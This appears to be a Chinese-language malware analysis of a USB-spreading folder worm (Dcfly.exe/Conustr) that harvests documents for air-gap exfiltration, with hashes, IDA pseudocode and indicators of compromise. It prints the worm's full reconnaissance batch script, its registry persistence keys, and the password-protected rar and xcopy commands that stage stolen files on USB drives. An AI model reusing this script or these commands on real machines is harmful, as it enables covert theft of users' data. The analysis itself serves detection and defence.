这是一例通过U盘传播的文件夹病毒,有收集用户文件的行为,但是,没有回传和远控行为,有点奇怪,其中的字符串进行了加密。
样本比较简单,使用IDA很容易就看明白了。
根据匹配到威胁情报,有叫Vague蠕虫,也有叫Conustr,也没有找到其它相关的信息。
样本的基本信息
Verified: Unsigned
Link date: 15:15 2013/8/26
MachineType: 32-bit
MD5: E9A6B1346D1A2447CABB980F3CC5DD27
SHA1: FE102A75E319AAB20F030299DF3A0A36204B4019
大小 136 KB (139,264 字节)
编译器: EP:Microsoft Visual C/C++(6.0 (1720-9782))[EXE32]
编译器: Microsoft Visual C/C++(6.0)[libc]
链接程序: Microsoft Linker(6.0*)[GUI32]
使用文件夹图标
静态分析
winmain函数
首先注册了一个窗口类,创建一个名为DefaultIME IME
的窗口并隐藏
设置注册表HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\NeverShowExt=""
,用于隐藏文件后缀名,这个样本修改注册表的方式有点特别,会生成一个文本文件(如下所示)保存为%temp%\ppxxx
,然后执行regini.exe %temp%\ppxxx
来修改注册表。后台添加开机启动项也采用这种方式。
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile
"NeverShowExt"= REG_SZ ""
若存在同名的文件夹,将其打开
以非共享模式创建文件 %temp%\~tmpx5.tmp
,相当于互斥量,防止双开,若打开失败,说明已经有一个实例在运行,退出 。
若当前程序路径不是%temp%\conhost.exe,说明是当前实例从U盘上运行,则将自身拷贝到%temp%\conhost.exe
并隐藏,运行%temp%\conhost.exe
,本实例退出。
释放并执行一个批处理文件,%temp%\must.bat
,这个脚本用来获取主机的信息和文件列表,保存在%temp%\winword4.doc
,运行后会自毁
解析系统Recent目录下lnk文件,将最近访问过的 *.doc、*.docx、*.pdf、*.mvd、 *.tif、 *.xls、*.xlsx
文件和%temp%\winword4.doc
,使用winrar程序打包进%temp%\WPDNSE\XXXXXXXX.NLS
(XXXXXXXX为根据本地计算名生成的一个DWORD类型的整数的十六进制表示)
创建3个定时器,id为1、2、3,时间间隔分别为1小时、1分钟、10秒。
winmain函数结构很清楚,F5生成伪代码如下
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
int result; // eax
struct tagMSG Msg; // [esp+Ch] [ebp-224h] BYREF
WCHAR cmd; // [esp+28h] [ebp-208h] BYREF
char v7[516]; // [esp+2Ah] [ebp-206h] BYREF
__int16 v8; // [esp+22Eh] [ebp-2h]
CoInitialize(0u); // 初始化化COM接口,后面打开link文件会用到
SetErrorMode(0x8003u); // 设置不提示错误
RegWindow_403980(hInstance); // 注册一个窗口类 classname = DefaultIME
SetNeverShowExt_4014B0(); // 设置注册表HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\NeverShowExt=""
// 不显示文件扩展名
result = (int)CreateWindow_403A20(hInstance, 0);// 创建一个窗口并隐藏,窗口名为DefaultIME IME
if ( result )
{
SHChangeNotify(SHCNE_ASSOCCHANGED, SHCNE_UPDATEDIR, 0u, 0u);// 更新文件类型关联配置,使上面设置的注册表项生效
OpenDirInSameName_401070(); // 打开同名的真正的文件夹
Sleep(2013u);
// 以非共享模式创建文件 %temp%\~tmpx5.tmp ,相当于互斥量,防止双开
if ( CreateFile_401000(L"~tmpx5.tmp") == (HANDLE)INVALID_FILE_SIZE )
{
result = 0; // 若打开失败,说明已经有一个实例在运行,退出
}
else if ( CopySelf_4012D0() == 1 ) // 若当前程序路径不是%temp%\conhost.exe,说明是在U盘上,则将自身拷贝到%temp%\conhost.exe并隐藏
{
cmd = 0;
memset(v7, 0, sizeof(v7));
v8 = 0;
Gen_conhost_FileName_4013A0(&cmd);
Exec_401870(&cmd, 0, 0); // 运行%temp%\conhost.exe,本实例退出
result = 0;
}
else
{ // 不是在U盘上运行
// 初始化一个列表,保存要搜集的文件后缀名
strcpy(file_ext0_40B5CE, "*.doc"); // *.doc
strcpy(file_ext1_40B64E, "*.docx"); // *.docx
strcpy(file_ext2_40B6CE, "*.pdf"); // *.pdf
strcpy(file_ext3_40B74E, "*.mvd"); // *.mvd
strcpy(file_ext4_40B7CE, "*.tif"); // *.tif
strcpy(file_ext5_40B84E, "*.xls"); // *.xls
strcpy(file_ext6_40B8CE, "*.xlsx"); // *.xlsx
CreateAndExec_must_bat_402E90(); // 释放并执行%temp%\must.bat,获取主机的信息和文件列表,保存在%temp%\winword4.doc
CollectFile_403500(); // 将最近访问过的*.doc *.docx *.pdf *.mvd *.tif *.xls *.xlsx文件和%temp%\winword4.doc,
// 使用winrar打包进%temp%\WPDNSE\XXXXXXXX.NLS
SetTimer(hWnd, 1u, 3600000u, 0u); // 创建了3个计时器 计时器1 1小时
SetTimer(hWnd, 2u, 60001u, 0u); // 计时器2 60s
SetTimer(hWnd, 3u, 10002u, 0u); // 计时器3 10s
while ( GetMessageA(&Msg, 0u, 0u, 0u) ) // 消息循环
{
TranslateMessage(&Msg);
DispatchMessageA(&Msg);
}
result = Msg.wParam;
}
}
return result;
}
窗口函数
窗口函数的主要功能是处理三个定时器
定时器1:将最近访问过的*.doc *.docx *.pdf *.mvd *.tif *.xls *.xlsx
文件和%temp%\winword4.doc
,
使用winrar打包进%temp%\WPDNSE\xxxxxxxx.NLS
,并重设定时器
定时器2:在注册表中添加开机启动项,退出
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load=%temp%\conhost.exe
定时器3:遍历系统内的所有驱动器(包括网络驱动器),搜集文件,感染可移动存储介质
感染U盘
假设U盘的盘符为X
将自身拷贝到X:\RECYCLER\Dcfly.exe
,若同名的文件已经存在,获取该文件的三个时间(CreationTime,LastAccessTime,LastWriteTime
),若CreationTime.wSecond=20,CreationTime.wMilliseconds==444,LastWriteTime.wSecond=13
,且比当前版本新,但执行U盘上的新版本,退出当前实例。
遍历U盘根目录的文件夹,跳过Recycled,RECYCLER,System
,隐藏这些文件夹,将自身拷贝成同名文件,欺骗用户点击.
将 %temp%\WPDNSE\*.NLS
和%temp%\Media\*.ldf
拷贝到X:\RECYCLER\
下并隐藏,拷贝命令如下
C:\windows\system32\xcopy.exe /d /c /i /h /r /y %temp%\WPDNSE\*.NLS X:\RECYCLER\
C:\windows\system32\xcopy.exe /d /c /i /h /r /y %temp%\Media\*.ldf X:\RECYCLER\
将X:\*.doc X:\*.docx X:\*.pdf X:\*.mvd X:\*.tif X:\*.xls X:\*.xlsx`` 打包进
%temp%\WPDNSE\xxxxxxxx.NLS`
打包的命令
这个样本使用winrar程序来进行打包,执行命令如下,其中[X]为盘符,[yyyyMMdd]为当前日期,压缩的密码为ThisTw0Piece
,[computer_name_hash]为当前系统计算名生成的一个DWORD类型的整数的16进制表示
"C:\Program Files\winrar\rar.exe" u -ap[X] -r -ed -tk -dh -s15000000 -hpThisTw0Piece -ta[yyyyMMdd] %temp%\WPDNSE\[computer_name_hash].NLS X:\*.doc X:\*.docx X:\.xls X:*xlsx X:\*.pdf X:\*.mvd X:\*.tif
"C:\Program Files\winrar\rar.exe" u -ap[X] -r -ed -tk -dh -s15000000 -hpThisTw0Piece -ta[yyyyMMdd] C:\Users\xxx\AppData\Local\Temp\WPDNSE\[computer_name_hash].NLS "[filename]"
must.bat
该样本会释放一个%temp%\must.bat
的批处理脚本,内容如下,主要功能是采集系统信息和文件列表,保存在%temp%\winword4.doc
,这个文件会被打包进NLS文件,运行完会自毁
@echo off
set xm2n=%temp%\winword4.doc
date /t >%xm2n%
ver >>%xm2n%
net user >>%xm2n%
net localgroup administrators >>%xm2n%
net start >>%xm2n%
netstat -ano >>%xm2n%
tasklist >>%xm2n%
ipconfig /all >>%xm2n%
arp -a >>%xm2n%
systeminfo >>%xm2n%
net use >>%xm2n%
net view >>%xm2n%
net view /domain >>%xm2n%
net user /domain >>%xm2n%
dir c:\*.* /s/a/od >>%xm2n%
dir d:\*.* /s/a/od >>%xm2n%
dir e:\*.* /s/a/od >>%xm2n%
dir f:\*.* /s/a/od >>%xm2n%
dir g:\*.* /s/a/od >>%xm2n%
dir h:\*.* /s/a/od >>%xm2n%
dir i:\*.* /s/a/od >>%xm2n%
del """%0"""
IOC
文件
病毒本体
可移动存储介质上与文件夹同名的exe文件
X:\RECYCLER\Dcfly.exe
%temp%\conhost.exe
%temp%\~tmpx5.tmp 用于防双开
X:\RECYCLER\*.ldf 不知道啥作用
%temp%\Media\*.ldf 不知道啥作用
%temp%\WPDNSE\[xxxxxxxx].NLS 压缩包,采集的本地和U盘中信息
%temp%\WPDNSE\[xxxxxxxx]@.NLS 压缩包,采集的远程驱动器的信息
X:\RECYCLER\[xxxxxxxx]@.NLS 压缩包
X:\RECYCLER\[xxxxxxxx].NLS 压缩包
%temp%\ppxxxx 注册表文件,临时文件,用完会删除
%temp%\winword4.doc 用于保存采集主机信息和文件列表的文本文件
%temp%\must.bat 用于采集主机信息和文件列表
注册表
隐藏文件后缀名
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile
NeverShowExt = ""
开机启动项
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows
Load = "[%Temp%]\conhost.exe"
总结
这个样本是一个典型的通过摆渡的方式进行窃密的样本,通过感染U盘进行传播(将U盘根目录的文件夹隐藏,伪造成同名文件夹,欺骗用户点击执行),将终端的信息和特定类型的文件加密压缩保存在U盘中,有自我更新的功能,该样本依赖于winrar进行压缩和打包。有两个可疑的地方,一是该样本没有网络行为,二是目录%temp%\Media\
和文件%temp%\Media\*.ldf
起啥作用也不知道。
参考资料
- 顽固木马清理专题之蠕虫篇《模糊的月光》
- WORM_CONUSTR.A
- How to remove Dcfly.exe
- Como Eliminar Virus Que Convierte Las Carpetas En Archivos Exe